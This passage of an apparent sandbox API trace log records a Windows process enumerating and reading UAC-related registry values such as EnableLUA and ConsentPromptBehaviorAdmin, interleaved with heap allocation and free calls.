lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.802] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.802] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.802] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.802] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.802] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0026.802] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0026.802] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x233c438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x233c438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0026.802] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c438) returned 1 [0026.802] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c5a0) returned 1 [0026.802] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.802] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233b860 [0026.802] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233b878 [0026.802] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5a0 [0026.802] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.802] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233b888 [0026.802] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c438 [0026.802] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.802] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233b898 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c558 [0026.803] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233b930 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c510 [0026.803] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x233b940 [0026.803] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b860) returned 1 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233b860 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c4c8 [0026.803] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233b968 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c480 [0026.803] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233b978 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c3f0 [0026.803] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233b988 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c3a8 [0026.803] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x30) returned 0x233b998 [0026.803] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b940) returned 1 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233b940 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c360 [0026.803] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233b950 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c318 [0026.803] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233b9d0 [0026.803] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c2d0 [0026.803] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.804] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233b9e0 [0026.804] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.804] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.804] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c240 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b998) returned 1 [0026.804] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233b998 [0026.804] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1f8 [0026.804] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.804] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233b9a8 [0026.804] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1b0 [0026.804] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.804] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d1e8 [0026.804] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c168 [0026.804] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.804] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d1f8 [0026.804] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.804] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0026.804] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.804] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c5a0) returned 1 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b878) returned 1 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c438) returned 1 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b888) returned 1 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c558) returned 1 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b898) returned 1 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c510) returned 1 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b930) returned 1 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c4c8) returned 1 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b860) returned 1 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c480) returned 1 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b968) returned 1 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c3f0) returned 1 [0026.804] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b978) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c3a8) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b988) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c360) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b940) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c318) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b950) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c2d0) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b9d0) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b9e0) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1f8) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b998) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1b0) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b9a8) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c168) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d1e8) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d1f8) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c240) returned 1 [0026.805] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c240 [0026.805] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0026.805] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x233c240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x233c240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c240) returned 1 [0026.805] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.805] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.805] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d5e8 [0026.805] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d1f8 [0026.805] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.805] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.805] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d1e8 [0026.805] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c240 [0026.805] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.805] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d208 [0026.805] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.806] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d218 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c168 [0026.806] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x233b860 [0026.806] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d5e8) returned 1 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d228 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1b0 [0026.806] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d238 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1f8 [0026.806] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d248 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.806] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d258 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c2d0 [0026.806] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x30) returned 0x233b930 [0026.806] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b860) returned 1 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d268 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c318 [0026.806] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d278 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c360 [0026.806] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d288 [0026.806] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c3a8 [0026.807] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d298 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c3f0 [0026.807] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c480 [0026.807] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b930) returned 1 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2a8 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c4c8 [0026.807] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2b8 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c510 [0026.807] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2c8 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c558 [0026.807] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2d8 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c438 [0026.807] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5a0 [0026.807] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c5a0) returned 1 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5a0 [0026.807] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c5a0) returned 1 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5a0 [0026.807] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c5a0) returned 1 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5a0 [0026.807] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c5a0) returned 1 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5a0 [0026.807] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c5a0) returned 1 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5a0 [0026.807] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c5a0) returned 1 [0026.807] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5a0 [0026.807] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c5a0) returned 1 [0026.808] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5a0 [0026.808] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c5a0) returned 1 [0026.808] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5a0 [0026.808] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.808] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d1f8) returned 1 [0026.808] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c240) returned 1 [0026.808] RtlFreeHeap (HeapHandle=0x2330000, 